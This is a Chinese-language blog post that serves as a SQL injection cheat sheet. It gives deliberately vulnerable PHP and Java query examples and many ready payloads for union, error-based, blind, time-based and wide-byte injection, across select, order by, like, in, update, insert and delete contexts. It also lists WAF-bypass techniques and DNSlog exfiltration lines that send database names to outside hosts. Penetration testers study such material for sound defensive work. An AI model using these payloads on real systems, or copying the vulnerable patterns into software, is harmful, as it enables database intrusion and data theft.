




SQL注入,本质是SQL语句的拼接问题,由插入的Payload,更改了执行的SQL语句,达到攻击目的。
实例:
select username,age,sex from users # 查询信息select username,age,sex from users union select 1,database(),3 # 插入Payload进行联合查询,导致查询出敏感信息
PHP
// 获取用户输入$user_id = $_GET['user_id'];// 构建SQL查询$query = "SELECT * FROM users WHERE id = '$user_id'";
JAVA
import java.sql.*;public class SQLInjectionExample {public static void main(String[] args) {String userId = args[0]; // 用户输入String query = "SELECT * FROM users WHERE id = '" + userId + "'";try (Connection conn = DriverManager.getConnection("jdbc:mysql://localhost:3306/database", "user", "password");Statement stmt = conn.createStatement();ResultSet rs = stmt.executeQuery(query)) { // 执行SQL语句while (rs.next()) {System.out.println(rs.getString("username"));}} catch (SQLException e) {e.printStackTrace();}}}
代码判断方式:
执行的SQL语句存在用户可控参数,并且对于参数未进行预处理和其他过滤校验,则存在SQL注入。
手工挖掘判断:
输入特殊字符'”()和and or等逻辑条件,判断有无回显,有回显(包含报错回显)考虑联合、报错注入方式,没有回显考虑盲注类型,看是否满足等时间差或A/B两种类型返回结果。
实际项目分析:
目前项目中,SQL注入主要在PHP项目,JAVA除了非常老的项目,目前项目中都采用了预编译,多见order by like in场景注入。

联合注入:
# 条件:有回显select `id`,`user`,`pass` from users union select 1,user(),3
报错注入:
# 条件:有报错回显and extractvalue(1, (concat(0x7e,(user()),0x7e))and updatexml(1, (concat(0x7e,(select user()),0x7e)),1)
布尔盲注:
# 条件: 存在明显的A/B两种结果响应,如:正确执行:返回响应A;错误执行:返回响应Bselect * from security.users where id=’1’ and ascii(user())>100 # and && or ||#DnsLog 加速探测select load_file(concat('\\',(select database()),'.y6ldwi.dnslog.cn/abc'))
时间盲注:
# 条件: 输入的时间Payload,导致响应时间有明显时间递增特征#花费时间长,注入一个用户名,需要一次次猜测and if(ascii(substr(database(), 1, 1))=104, sleep(5), 1)#DNSlogselect load_file(concat('\\',(select database()),'.f3d516c0.dnslog.store/abc'))
宽字节注入:
# GBK 类型的编码时,ASCII>128会解析为中文,起到吞并``的作用uname=-1%99' union select (select username from security.users where id =3),(select password from security.users where id =3)%23&passwd=&submit=submit#%99就是ASCII大于128的值
白盒分析的场景:
二次编码# 需要源码审计加密的编码方式,通过多重编码的方式,绕过校验机制,导致SQL注入二次注入# 插入的Payload被存储到数据库或其他文件中,再读取拼接到执行的SQL语句时,缺乏完整的参数校验,引起的SQL注入
根据SQL语句类型分析:
limit注入:
# limit前的SQL语句已完整,故只限于报错和盲注类型select id from users where id=1 order by id desc limit 0,1 procedure analyse(extractvalue(rand(),concat(0x3a,(user()),0x3a)))
order by注入:
# 采用盲注或者报错方式select user from mysql.user order by if(ascii(substr(database(), 1, 1))>104, sleep(5), 1)select user from mysql.user order by updatexml(1, (concat(0x7e,(select user()),0x7e)),1)
like注入:
# 采用盲注或者报错方式,通过Payload也可以查询所有数据select * from mysql.user where user like '%%'or '1'='1'select * from mysql.user where user like 'root' and if(ascii(substr(database(), 1, 1))>104, sleep(5), 1) -- 'select * from mysql.user where user like 'root' or extractvalue(1,concat(0x7e,(select user()),0x7e))-- '
in注入:
# 采用盲注或者报错方式select * from mysql.user where user in (1) and extractvalue(1,concat(0x7e,(select user()),0x7e))select * from mysql.user where user in (1 and if(ascii(substr(database(), 1, 1))>104, sleep(5), 1))
update注入:
# 注入位置,条件判断update users set username = 'test@test.com' WHERE id = 8 and extractvalue(1,concat(0x7e,(select user()),0x7e));update users set username = 'test@test.com' WHERE id = 8 and if(ascii(substr(database(), 1, 1))>104, sleep(50), 1)
insert注入:
# 常见注入位置,value的值insert into users(id,username,passwd) values(11,'Test01','' or (select sleep(5)))-- 'insert into users(id,username,passwd) values(5,'Test01',''and extractvalue(1,concat(0x7e,(select user()),0x7e))) -- monkey')
delete注入:
# 注入位置,条件判断delete from users where id = 11; select extractvalue(1,concat(0x7e,(select user()),0x7e))delete from users where id = 11 and extractvalue(1,concat(0x7e,(select user()),0x7e))delete from users where id = 11 or if(ascii(substr(database(), 1, 1))>104, sleep(1), 1)

#当MySQL版本大于传输的5位数字时,+后面会拼接到SQL语句,使用效果如下select username from users where id =1 /*!33333+2*/#此时版本大于传入的数据,所以实际查询的语句相当于select username from users where id =3 # 1+2#报错类型效果---是函数则自动添加and运算select * from users where id =1 /*!33333+extractvalue('MONKEY',concat(0x7e,user(),0x7e))*/#报错结果:> 1105 - XPATH syntax error: '~root@localhost~'
# 绕过逗号 -- 多表查询select id,username,passwd from users union select * from (select database()) a join (select version() ) b join (select user()) cselect id,username from users union select * from (select group_concat(column_name) from information_schema.columns where table_name='users') a join (select version() ) b# 绕过空格 -- () /**/ + - .select+id-1+1.from usersselect * from mysql.user where user like 'root'or(extractvalue(1,concat(0x7e,(select(user())),0x7e)))-- 'select * from mysql.user where user like 'root'or/**/extractvalue(1,concat(0x7e,(select/**/user()),0x7e))-- '#关键词函数替换,大小写,双写、编码/*关键词替换and &&or ||not !like = <>*/#参数污染?id=1 and id=0xAAAA*[重复A 2000次] uNiOn SeLeCt 1,version(),3 --+

* secure_file_priv != null # 为null时禁止写文件* 知道具体路径* '"符号未被过滤,确保SQL语句执行* 拥有写权限 # MySQL的运行用户权限过低,将无法对某些目录和文件进行写操作
* order by* like* in 这三种场景,和涉及表、库等关键词的地方不能使用,因为关键词有限,可以采用白名单校验的方式进行防御
* information_schema库的schemata表中包含了库的信息* information_schema库的tables表包含了库的表信息* information_schema库的columns表包含了表的字段信息* user() database() version()等方法获取数据库的其他详细信息
* 大小写或双写* 内联注释* + - . () /**/ 替换空格* 编码--URLEncode、ASCII编码* 宽字节--对采用GBK的场景* 利用逻辑符号替换关键词--&& ||* 利用其他函数替换特征函数

原创文章,作者:guozi,如若转载,请注明出处:https://www.sudun.com/ask/88713.html